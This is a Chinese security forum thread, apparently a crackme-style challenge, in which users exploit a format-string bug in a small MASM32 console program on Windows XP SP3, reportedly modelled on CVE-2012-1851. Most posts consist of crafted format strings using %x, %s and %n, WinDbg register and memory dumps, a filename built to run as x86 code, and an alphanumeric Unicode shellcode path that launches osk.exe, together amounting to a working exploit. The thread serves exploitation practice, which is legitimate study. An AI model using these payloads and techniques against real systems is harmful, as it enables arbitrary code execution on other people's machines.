能力值:
( LV4,RANK:50 )
|
-
-
2 楼
希望看到一些巧妙的利用方式,对了程序代码不能有改动,程序只能改fmt1变量的值,长度不要超过512字节.
|
能力值:
( LV13,RANK:388 )
|
-
-
3 楼
bin是用masm32编译的console程序,构造fmt1如下
[COLOR="Red"]fmt1 db 0f4h,55h,88h,7ch,'%',0,'2',0,'5',0,'6',0,'x',0,'%',0,'s',0,0,0[/COLOR]
fmt1中第一个dword的值来源于kernel32中的一个指向argv的指针
[COLOR="red"]0:000> ? poi(kernel32!GetCommandLineA+1)
Evaluate expression: 2089309684 = 7c8855f4[/COLOR]
fmt1中的%256x往栈里填充512字节
%s会将第一个dword 0x7c8855f4作为字符串指针往栈里拷贝
经过以上填充和拷贝,返回地址被argv指针覆盖
构造bin文件名
[COLOR="red"]BuAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.exe[/COLOR]
cmd下加参数helloworld!!!!!!!!!!!!运行
[COLOR="red"]C:\>BuAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.exe helloworld!!!!!!!!!!![/COLOR]
溢出发生并返回时时,eip指向argv
[COLOR="red"]0:000> da eip
001423b8 "BuAaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
001423d8 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa."
001423f8 "exe helloworld!!!!!!!!!!!"[/COLOR]
文件名经过构造'BuA'可以执行,单步两步
[COLOR="red"]eax=ffffffff ebx=7ffd3000 ecx=0000145a edx=7ffffff5 esi=01cd7a94 edi=b3428be6
eip=001423b8 esp=0012ffc4 ebp=00300020 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
001423b8 42 inc edx
0:000> p
eax=ffffffff ebx=7ffd3000 ecx=0000145a edx=7ffffff6 esi=01cd7a94 edi=b3428be6
eip=001423b9 esp=0012ffc4 ebp=00300020 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
001423b9 7541 jne 001423fc [br=1]
0:000> p
eax=ffffffff ebx=7ffd3000 ecx=0000145a edx=7ffffff6 esi=01cd7a94 edi=b3428be6
eip=001423fc esp=0012ffc4 ebp=00300020 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
001423fc 68656c6c6f push 6F6C6C65h[/COLOR]
此时eip指向参数
[COLOR="red"]0:000> da eip
001423fc "helloworld!!!!!!!!!!!"[/COLOR]
只要把shellcode作为参数用以上方法执行,即可执行任意代码
|
能力值:
( LV13,RANK:388 )
|
-
-
4 楼
环境是xp sp3 调试的话要 附加
以调试态启动 argv 会有双引号
|
能力值:
( LV4,RANK:50 )
|
-
-
5 楼
上个我的答案.
C:\1234aEaeMEUe\eYeCeCeIAIAIAIAIAIAIAIAIAIAIAIAIAIA4444jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBp3Z250EzkOnbqZq3aHnrXMNNpZoLZerTL1nbQpzZ9lrWxk88EovLH6UWkSKRPuXqQsVbm8kOJBm0A>prt ASIXASIXJJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIQwsTmqTps0LK1PtLNkbP5LnMlKcXwxLKbUgLLKsL6NqhwsKMLKt75pGsKEFSYYQYG1Lms3Je5cYKfoMndPuhJRcDtHO1zkdMS3JzW0XkL1MQikOhKNNjtNRUxcnksoEtvcyM0fLKTLpKLK3oULdCkmnkWtNkgsxEPhROPsrKePPT9oZpgpA
运行osk.exe
fmt1的值设为:
fmt1 db 091h,0fdh,13h,0,'%',0,'2',0,'5',0,'4',0,'x',0,'%',0,'n',0,0,0
比楼上的应该要通用一些.
另外这个题其实是调ms12-054中的CVE-2012-1851,随手写来练手的.
|
能力值:
( LV13,RANK:388 )
|
-
-
6 楼
lz的栈顶肯定是0x140000吧
我的是0x130000所以改了fmt1里的第一个dword 0x12fd91
这个dword的意图应该是通过%n来修改_vsnprintf的返回地址的高24位
在本机上 返回地址被改为0x10016
这里的低8位0x16,估计也是看编译器的把
返回时确实指向了环境变量,但是执行失败
返回时
0:000> du eip
00010016 "=C:\1234aEaeMEUe\eYeCeCeIAIAIAIA"
00010056 "IAIAIAIAIAIAIAIAIAIA4444jXAQADAZ"
00010096 "ABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ1"
000100d6 "1AIAIABABABQI1AIQIAIQI111AIAJQYA"
00010116 "ZBABABABABkMAGB9u4JBp3Z250EzkOnb"
00010156 "qZq3aHnrXMNNpZoLZerTL1nbQpzZ9lrW"
00010196 "xk88EovLH6UWkSKRPuXqQsVbm8kOJBm0"
000101d6 "A"
0:000> db eip
00010016 3d 00 43 00 3a 00 5c 00-31 00 32 00 33 00 34 00 =.C.:.\.1.2.3.4.
00010026 61 00 45 00 61 00 65 00-4d 00 45 00 55 00 65 00 a.E.a.e.M.E.U.e.
00010036 5c 00 65 00 59 00 65 00-43 00 65 00 43 00 65 00 \.e.Y.e.C.e.C.e.
00010046 49 00 41 00 49 00 41 00-49 00 41 00 49 00 41 00 I.A.I.A.I.A.I.A.
00010056 49 00 41 00 49 00 41 00-49 00 41 00 49 00 41 00 I.A.I.A.I.A.I.A.
00010066 49 00 41 00 49 00 41 00-49 00 41 00 49 00 41 00 I.A.I.A.I.A.I.A.
00010076 49 00 41 00 49 00 41 00-34 00 34 00 34 00 34 00 I.A.I.A.4.4.4.4.
00010086 6a 00 58 00 41 00 51 00-41 00 44 00 41 00 5a 00 j.X.A.Q.A.D.A.Z. 如果大家用的同一个bin的话 估计就能见识到纯unicode字符串shellcode是怎么执行的了
ps以前真不知道0x10000这里放着环境变量 学习了
|
能力值:
( LV4,RANK:50 )
|
-
-
7 楼
楼上说得对,我这个要求其实也不少
栈顶要是00140000
然后返回地址的低位要是0x16,这个也是和编译器有关系不过一般问题不大因为这程序比较简单.
然后就可以跳到00010016去执行了.
然后00010016里面的值应该是从"=C:\1234aEaeMEUe"里面的a开始的.....
另外相互交流:)
|
能力值:
( LV4,RANK:50 )
|
-
-
8 楼
00010010一般来说存放的是C盘的当前目录,由于程序在C盘的某个目录下执行,所以这个地方会变成这个样儿:
=C:=C:\dir\dir
这样的话00010016就刚好指向 =C:\dir\dir
|
能力值:
( LV13,RANK:388 )
|
-
-
9 楼
原来如此 非常感谢 已经成功弹出虚拟键盘
|
|
|